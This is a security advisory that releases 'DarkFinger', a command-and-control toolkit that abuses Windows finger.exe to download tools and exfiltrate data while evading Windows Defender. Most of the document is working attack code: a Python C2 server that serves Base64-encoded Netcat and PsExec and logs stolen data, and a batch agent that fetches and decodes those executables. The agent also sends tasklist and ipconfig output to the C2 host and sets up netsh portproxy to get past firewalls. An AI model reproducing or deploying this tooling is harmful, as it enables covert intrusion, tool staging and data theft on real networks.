```
[+] Title: Windows TCPIP Finger Command - C2 Channel and Bypassing Security Software
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec

Microsoft Windows TCPIP Finger Command "finger.exe" that ships with the OS, can be used as a file downloader and makeshift C2 channel.
Legitimate use of Windows Finger Command is to send Finger Protocol queries to remote Finger daemons to retrieve user information.
However, the finger client can also save the remote server response to disk using the command line redirection operator ">".

Intruders who compromise a computer may find it is locked down and "unknown" applications may be unable to download programs or tools.
By using built-in native Windows programs, its possible they may be whitelisted by installed security programs and allowed to download files.

Redteams and such using LOL methods have made use of "Certutil.exe", native Windows program for downloading files. However, Certutil.exe is
recently blocked by Windows Defender Antivirus and logged as event "Trojan:Win32/Ceprolad.A" when it encounters http/https://.

Therefore, using Windows finger we can bypass current Windows Defender security restrictions to download tools, send commands and exfil data.
The Finger protocol as a C2 channel part works by abusing the "user" token of the FINGER Query protocol "user@host". C2 commands masked as
finger queries can download files and or exfil data without Windows Defender interference.

Download files:
C:\> finger <C2-Command>@HOST > Malwr.txt

Exfil running processes:
C:\> for /f "tokens=1" %i in ('tasklist') do finger %i@192.168.1.21

Typically, (Port 79) default port used by FINGER protocol is often blocked by organizations. Privileged users can bypass this using
Windows NetSh Portproxy. This can allow us to bypass Firewall restrictions to reach servers using unrestricted ports like 80/443.
Portproxy queries are then sent first to the Local Machines ip-address which are then forwarded to the C2 server specified.

Port 43 (WHOIS) traffic.
netsh interface portproxy add v4tov4 listenaddress=[LOCAL-IP] listenport=79 connectaddress=[C2-Server] connectport=43
netsh interface portproxy add v4tov4 listenaddress=[LOCAL-IP] listenport=43 connectaddress=[LOCAL-IP] connectport=79

To display Portproxy use "C:\>netsh interface portproxy show all".

E.g. using Port 79
Ncat64.exe "nc@C2-Server" > tmp.txt

E.g. using Portproxy, send the query to local-ip first.
Ncat64.exe "nc@Local-IP" > tmp.txt

To leverage Windows finger.exe successfully as a file downloader and help evade network security devices, serve Base64 encoded text-files.
DarkFinger.py expects to receive the first two characters of the filename for the Finger Protocol Host token part for file downloads.

DarkFinger C2 expects exfil data to prefixed with the dot "." character, so any arbitrary inbound querys are not confused for exfil.
This can be changed to whatever or even expanded upon to use XOR obfuscation methods etc... as this is just for basic PoC.

[Event Logs / Forensics]
Certutil.exe file downloads are now blocked and logged by Windows Defender.

"Windows Defender Antivirus has taken action to protect this machine from malware or other potentially unwanted software.

        Name: Trojan:Win32/Ceprolad.A
        ID: 2147726914
        Severity: Severe
        Category: Trojan
        ... etc"

PowerShell, also used as an LOL method to download files usually generates Windows event logs. Finger initiated downloads write
to disk and will leave forensic artifacts. Finger TCP/IP traffic going out to Port 80/443 minus the HTTP protocol may stand out as well.
However, searching the Windows event logs for finger.exe entries, I found no trace of it generating Windows event logs anywhere.

DarkFinger.py C2 is very basic with no security. It's only to demonstrate using Windows Finger Command for as a C2 channel
and show the possibilities. Therefore, anyone can request to change the Port DarkFinger C2 listens on and or download files.

During my research, I found nothing on the internet publicly using or documenting Windows TCPIP Finger Command for use as C2 channel.
Therefore, I release "DarkFinger.py" C2 server and "DarkFinger-Agent.bat" which calls the Windows finger.exe in attacker friendly ways.

Tested successfully Windows 10.


[DarkFinger-C2.py]
import socket,sys,re,time,os,argparse
from subprocess import *
from subprocess import Popen, PIPE, STDOUT

#DarkFinger / Windows Finger TCPIP Command C2 Server (c)
#Downloader and Covert Data Tunneler
#By John Page (aka hyp3rlinx)
#ApparitionSec
#twitter.com/hyp3rlinx
#
#File Downloads must be Base64 encoded text-files.
#Agents can change the port DarkFinger listens on dynamically:
#E.g. set to listen on port 80
#C:\>finger.exe !80!@DarkFinger-Server
#When not using Port 79, we need a Portproxy to send Port 79 traffic outbound to the specified Port.
#Also, when using Ports other than Port 79 (default) we issue queries first to the machine running the Agent E.g.
#C:\>finger.exe <Command>@<Local-Machines-IP>
#
#Agents can change the Download wait time, to try an ensure files are fully downloaded before closing connections.
#Default time sent by the DF-Agent.bat PoC script is set to 10 seconds when issuing Download commands.
#Changing wait time before closing the socket when downloading PsExec64.exe E.g.
#C:\>finger.exe ps%<Wait-Time-Secs>%@%<DarkFinger-Server>%
#=============================================================================================================
#
```

```
port = 79                                       #Default if the client unable to Portproxy, use port 80/443 if possible.
downloads_dir = "Darkfinger_Downloads"          #Directory containing the Base64 encoded files for download
nc64 = downloads_dir+"\\nc.txt"                 #Base64 encoded Netcat
psexec = downloads_dir+"\\ps.txt"               #Base64 encoded PsExec64
byte_sz = 4096                                  #Socket recv
allowed_ports = [22,43,53,79,80,443]            #Restrict to a few.

BANNER="""
    ____              __   _______
   / __ \____ _______/ /__/ ____(_)___  ____ ____  _____
  / / / / __ `/ ___/ //_/ /_  / / __ \/ __ `/ _ \/ ___/
 / /_/ / /_/ / /  / ,< / __/ / / / / / /_/ /  __/ /
/_____/\__,_/_/  /_/|_/_/   /_/_/ /_/\__, /\___/_/
                                    /____/        v1

                          Finger TCPIP Command C2 Server
                                          By hyp3rlinx
                                         ApparitionSec
"""

def remove_cert_info(f):
    try:
        r1 = open(f)
        lines = r1.readlines()
        lines = lines[1:]
        r1.close()
        w1 = open(f,'w')
        w1.writelines(lines)
        w1.close()
        r2 = open(f)
        lines2 = r2.readlines()
        lines2 = lines2[:-1]
        r2.close()
        w2 = open(f,'w')
        w2.writelines(lines2)
        w2.close()
    except Exception as e:
        print(str(e))
        exit()


def create_base64_files(file_conf):
    global downloads_dir
    if os.path.exists(file_conf):
        if os.stat(file_conf).st_size == 0:
            print("[!] Warn: Supplied conf file is empty, no downloads were specified!")
            exit()
    else:
        print("[!] Supplied conf file does not exist :(")
        exit()
    try:
        path=os.getcwd()
        if not os.path.exists(path+"\\"+downloads_dir):
            os.makedirs(downloads_dir)
        f=open(file_conf, "r")
        for x in f:
            x = x.strip()
            if os.path.exists(path+"\\"+x):
                proc = Popen(["certutil.exe", "-encode", path+"\\"+x, path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt"],
                             stdout=PIPE, stderr=PIPE, shell=False)
                out, err = proc.communicate()
                if "ERROR_FILE_EXISTS" in str(out):
                    print("[!] Cannot encode " + x[:2]+".txt" + " as it already exists, delete it (-d flag) and try again :(")
                    exit()
                time.sleep(0.5)
                #Remove certificate info generated by Windows Certutil.
                if os.path.exists(path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt"):
                    remove_cert_info(path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt")
                    print("[+] Created " + x + " Base64 encoded text-file "+x[:2].lower()+".txt" +" for download.")
            else:
                print("[!] Warn: File specified in the conf file to Base64 encode ("+x+") does not exist!")
                exit()
        f.close()
    except Exception as e:
        print(str(e))


def delete_base64_files():
    global downloads_dir
    path=os.getcwd()
    if os.path.exists(path+"\\"+downloads_dir):
        try:
            filelist = [ f for f in os.listdir(path+"\\"+downloads_dir) if f.endswith(".txt") ]
            for f in filelist:
                os.remove(os.path.join(path+"\\"+downloads_dir, f))
        except Exception as e:
            print(str(e))
            exit()

def B64Exec(t):
    payload=""
    try:
        f=open(t, "r")
        for x in f:
            payload += x
        f.close()
    except Exception as e:
        pass
```

```
        print(str(e))
        return 9
    return payload


def finga_that_box(cmd, victim):
    cmd = cmd.rstrip()
    if cmd[:1] != ".":
        cmd = cmd[0:2]
    if cmd == "nc":
        print("[+] Serving Nc64.exe")
        sys.stdout.flush()
        return nc64
    if cmd == "ps":
        print("[+] Serving PsExec64.exe")
        sys.stdout.flush()
        return psexec
    if cmd[:1] == ".":
        print("[+] Exfil from: "+ victim[0] + " " +cmd[1:])
        sys.stdout.flush()
    return False


def fileppe_fingaz():
    global byte_sz, port, allowed_ports
    delay=1
    s = socket.socket()
    host = ""
    try:
        if port in allowed_ports:
            s.bind((host, port))
            s.listen(5)
        else:
            print("[!] Port disallowed, you can add it to the 'allowed_ports' list.")
            exit()
    except Exception as e:
        print(str(e))
        exit()
    print("[/] Listening port:", str(port))
    sys.stdout.flush()
    try:
        while True:
            conn, addr = s.accept()
            a = conn.recv(byte_sz).decode() #Py 2
            #Let agent change port dynamically
            try:
                if a[:1]=="!":
                    idx = a.rfind("!")
                    if idx != -1:
                        port = str(a[1:idx])
                        if int(port) in allowed_ports:
                            port = int(port)
                            time.sleep(1)
                            conn.close()
                            s.close()
                            fileppe_fingaz()
                        else:
                            print("[!] Disallowed port change request from: %s" % addr[0])

                #Let agent set time to wait dynamically.
                if a[:1] != "." and a[:1] != "!":
                    if re.search(r'\d\d', a[2:4]):
                        delay=int(a[2:4])
                        print("[-] Agent set the delay to: %d" % delay)
                        sys.stdout.flush()
            except Exception as e:
                print(str(e))
                pass
            t = finga_that_box(a, addr)
            if t:
                exe = B64Exec(t)
                if exe == 9:
                    conn.close()
                    continue
                if exe:
                    try:
                        conn.sendall(exe.encode())
                        time.sleep(delay)
                        conn.close()
                        delay=1
                    except Exception as e:
                        pass
                        #print(str(e))
                        sys.stdout.flush()
            conn.close()
            delay=1
        s.close()
    except Exception as e:
        print(str(e))
        pass
    finally:
        s.close()
        fileppe_fingaz()


def about():
    print("[+] Darkfinger is a basic C2 server that processes Windows TCPIP Finger Commands.")
    print(" ")
    print("[+] File download requests require the first two chars (lowercase) for the file we want,")
```

```
    print("[+] plus the wait time, this trys to ensure a full transmit before close the connection.")
    print("[+] Download Ncat64.exe and wait 30-secs before closing the socket:")
    print("[+] finger.exe nc30@DarkFinger > tmp.txt")
    print(" ")
    print("[+] Exfil Windows Tasklist using the '.' character used as the DarkFinger exfil flag:")
    print("[+] cmd /c for /f \"tokens=1\" %i in ('tasklist') do finger .%i@DarkFinger-Server")
    print("[+]")
    print("[+] If Port 79 is blocked, use Windows Netsh Portproxy to reach allowed internet Ports.")
    print("[+] Dynamically change the port Darkfinger C2 listens on to port 80:")
    print("[+] finger.exe !80!@DarkFinger-Server")
    print(" ")
    print("[+] DarkFinger-Agent.bat script is the client side component to demonstrate capabilities.")
    print("[+] Note: This is just a basic PoC with no type of real security whatsoever.")
    print("[+] Disclaimer: Author not responsible for any misuse and or damages by using this software.")


def main(args):

    global port
    print(BANNER)

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)

    if args.about:
        about()
        exit()

    if args.port:
        port = int(args.port)

    if args.conf and args.delete:
        delete_base64_files()

    if args.conf:
        create_base64_files(args.conf)
    else:
        print("[!] Warn: No Base64 files created for download!, add required -c flag.")
        exit()

    fileppe_fingaz()


def parse_args():
    parser.add_argument("-p", "--port", help="C2 Server Port",  nargs="?")
    parser.add_argument("-c", "--conf", help="Textfile of tools to Base64 encode for download.",  nargs="?")
    parser.add_argument("-d", "--delete", nargs="?", const="1", help="Delete previously created Base64 encoded files on startup, -c required.")
    parser.add_argument("-a", "--about", nargs="?", const="1", help="Darkfinger information")
    return parser.parse_args()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    main(parse_args())



[DarkFinger-Agent.bat]
@ECHO OFF
CLS

ECHO [+] Windows TCPIP Finger CMD Agent (c)
ECHO [+] For DarkFinger C2 Server PoC
ECHO [+] By hyp3rlinx
ECHO [+] ApparitionSec
ECHO  ==================================
@ECHO.

REM Default download save location.
CD \Users\%username%\Desktop
REM Default download delay time to try an ensure full transfer.
SET  DELAY=10
SET FAIL_MSG=[!] Attempted a failed Admin operation ugh :(

net session >nul 2>&1
IF %errorLevel% == 0 (
    ECHO [+] Got Admin privileges!.
    SET  /a Admin = 0
    GOTO Init
) ELSE  (
    ECHO [!] Agent running as non-admin, if you can escalate privs re-run the agent!.
    SET /a Admin = 1
        SET  DARK_PORT=79
    GOTO CheckOutbound79
)

:Init
for /f "tokens=1-2 delims=:" %%a in ('ipconfig^|find "IPv4"') do IF NOT DEFINED LOCAL_IP set LOCAL_IP=%%b
SET LOCAL_IP=%LOCAL_IP: =%
ECHO [+] Local IP: %LOCAL_IP%
REM default for non admin as cant set Portproxy.
SET /P DARK_IP="[+] DarkFinger C2 Host/IP: "
SET /P DARK_PORT="[+] DarkFinger C2 Port: "
IF NOT %DARK_PORT%==79 (
ECHO [!] Ports other than 79 typically require a Portproxy.
GOTO AddNetshPortProxy
) ELSE (
GOTO CmdOpt
```

```
)

:CheckOutbound79
ECHO [!] Must use the default Port 79 :( good luck.
SET /P CHKPORT="[+] Check if hosts reachable? Y to continue N to abort: "
SET CHKPORT=%CHKPORT: =%
 IF /I %CHKPORT% == y (
   SET /P DARK_IP="[+] DarkFinger C2 Host/IP: "
   cmd /c powershell "$c=New-Object System.Net.Sockets.TCPClient;try{$c.Connect('%DARK_IP%','%DARK_PORT%')}catch{};if(-Not $c.Connected){echo `n'[-]
Port 79 unreachable :('}else{$c.Close();echo `n'[-] Port 79 reachable :)'}"
    ECHO.
  ) ELSE (
     ECHO [!] Aborting... :(
    GOTO Close
 )


:CmdOpt
ECHO  1.Download PsExec64
ECHO  2.Download Nc64
ECHO  3.Exfil Tasklist
ECHO  4.Exfil IP Config
ECHO  5.Remove Netsh PortProxy
ECHO  6.Change C2 Server Port - 22 43 53 79 80 443
ECHO  7.Show Current Portproxy
ECHO  8.Change Portproxy
ECHO  9.Delete Portproxy and exit
ECHO  10.Exit Agent
@ECHO.
SET /P doit="Select option: "
IF "%doit%"=="1" GOTO PsExec64
IF "%doit%"=="2" GOTO Nc64
IF "%doit%"=="3" GOTO ExfilTasklist
IF "%doit%"=="4" GOTO ExfilIPConfig
IF "%doit%"=="5" GOTO RemNetShPortProxy
IF "%doit%"=="6" GOTO ChgC2ServerPort
IF "%doit%"=="7" GOTO ShowPortProxy
IF "%doit%"=="8" GOTO ChgPortProxy
IF "%doit%"=="9" GOTO DelProxyNClose
IF "%doit%"=="10" GOTO Close


:ChgPortProxy
IF %Admin% == 0 (
 GOTO Init
) ELSE (
ECHO %FAIL_MSG%
@ECHO.
GOTO CmdOpt
)

:PsExec64
SET Tool=PS
ECHO [-] Downloading PsExec64.exe, saving to Desktop as PS.EXE
ECHO [-] Wait...
IF %DARK_PORT%==79 (
SET IP2USE=%DARK_IP%
) ELSE (
SET IP2USE=%LOCAL_IP%
)
call finger ps%DELAY%@%IP2USE% > tmp.txt
GOTO CleanFile


:Nc64
SET Tool=NC
ECHO [-] Downloading Nc64.exe, saving to Desktop as NC.EXE
ECHO [-] Wait...
IF %DARK_PORT%==79 (
SET IP2USE=%DARK_IP%
) ELSE (
SET IP2USE=%LOCAL_IP%
)
call finger nc%DELAY%@%IP2USE% > tmp.txt
GOTO CleanFile

REM remove first two lines of tmp.txt as contains Computer name.
:CleanFile
call cmd /c more +2 tmp.txt > %Tool%.txt
GOTO RemoveTmpFile

:RemoveTmpFile
call cmd /c del %CD%\tmp.txt
GOTO B64Exe

REM Reconstruct executable from the Base64 text-file.
:B64Exe
call certutil -decode %CD%\%Tool%.txt %CD%\%Tool%.EXE 1> nul
@ECHO.
call cmd /c del %CD%\%Tool%.txt
GOTO CmdOpt

:ExfilTasklist
REM uses "." prefix to flag as incoming exfil data.
IF "%DARK_PORT%"=="79" (
SET USE_IP=%DARK_IP%
) ELSE (
SET USE_IP=%LOCAL_IP%
)
```

```
cmd /c for /f "tokens=1" %%i in ('tasklist') do finger ."%%i"@%USE_IP%
GOTO CmdOpt

:ExfilIPConfig
REM uses "." prefix to flag as incoming exfil data.
IF "%DARK_PORT%"=="79" (
SET USE_IP=%DARK_IP%
) ELSE (
SET USE_IP=%LOCAL_IP%
)
cmd /c for /f "tokens=*" %%a in ('ipconfig /all') do  finger ".%%a"@%USE_IP%
GOTO CmdOpt


:DelProxyNClose
ECHO [!] Removing any previous Portproxy from registry and exiting.
REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 /F  >nul 2>&1
ECHO [!] Exiting...
EXIT /B


:AddNetshPortProxy
SET OK=0
SET /P OK="[!] 1 to Continue:"
IF NOT %OK% EQU 1 (
 ECHO [!] Aborted...
 @ECHO.
 GOTO CmdOpt
)
ECHO [!] Removing any previous Portproxy from registry.
REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 /F  >nul 2>&1
SET LOCAL_FINGER_PORT=79
IF %DARK_PORT%==79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%LOCAL_FINGER_PORT% connectaddress=%DARK_IP%
connectport=%DARK_PORT%
IF %DARK_PORT%==79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%DARK_PORT% connectaddress=%LOCAL_IP%
connectport=%LOCAL_FINGER_PORT%
IF NOT %DARK_PORT% == 79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%LOCAL_FINGER_PORT%
connectaddress=%DARK_IP% connectport=%DARK_PORT%
IF NOT %DARK_PORT% == 79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%DARK_PORT% connectaddress=%LOCAL_IP%
connectport=%LOCAL_FINGER_PORT%
IF %Admin% == 0 netsh interface portproxy show all
GOTO CmdOpt

:RemNetShPortProxy
IF %Admin% == 1 (
ECHO %FAIL_MSG%
@ECHO.
GOTO CmdOpt
) ELSE (
ECHO [!] Removing NetSh PortProxy from registry.
REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 /F  >nul 2>&1
)
IF %DARK_PORT%==79 (
GOTO CmdOpt
) ELSE (
GOTO Init
)

:ShowPortProxy
netsh interface portproxy show all
GOTO CmdOpt

REM Allows agent to change the DarkFinger C2 listener port.
:ChgC2ServerPort
IF %Admin% == 1 (
ECHO %FAIL_MSG%
@ECHO.
GOTO CmdOpt
)
SET /P TMP_PORT="[+] DarkFinger listener Port: "
IF %DARK_PORT%==79 finger !%TMP_PORT%!@%DARK_IP%
IF NOT %DARK_PORT%==79 finger !%TMP_PORT%!@%LOCAL_IP%
SET DARK_PORT=%TMP_PORT%
ECHO [!] Attempted to change the DarkFinger remote Port to %TMP_PORT%.
IF NOT %DARK_PORT%==79 ECHO [!] Non default finger port used, must set a new Portproxy. (
GOTO RemNetShPortProxy
) ELSE (
GOTO CmdOpt
)

:Close
EXIT /B


[PoC Video URL]
https://www.youtube.com/watch?v=cfbwS6zH7ks

[Network Access]
Remote


[Disclosure Timeline]
September 11, 2020 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
```

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).

hyp3rlinx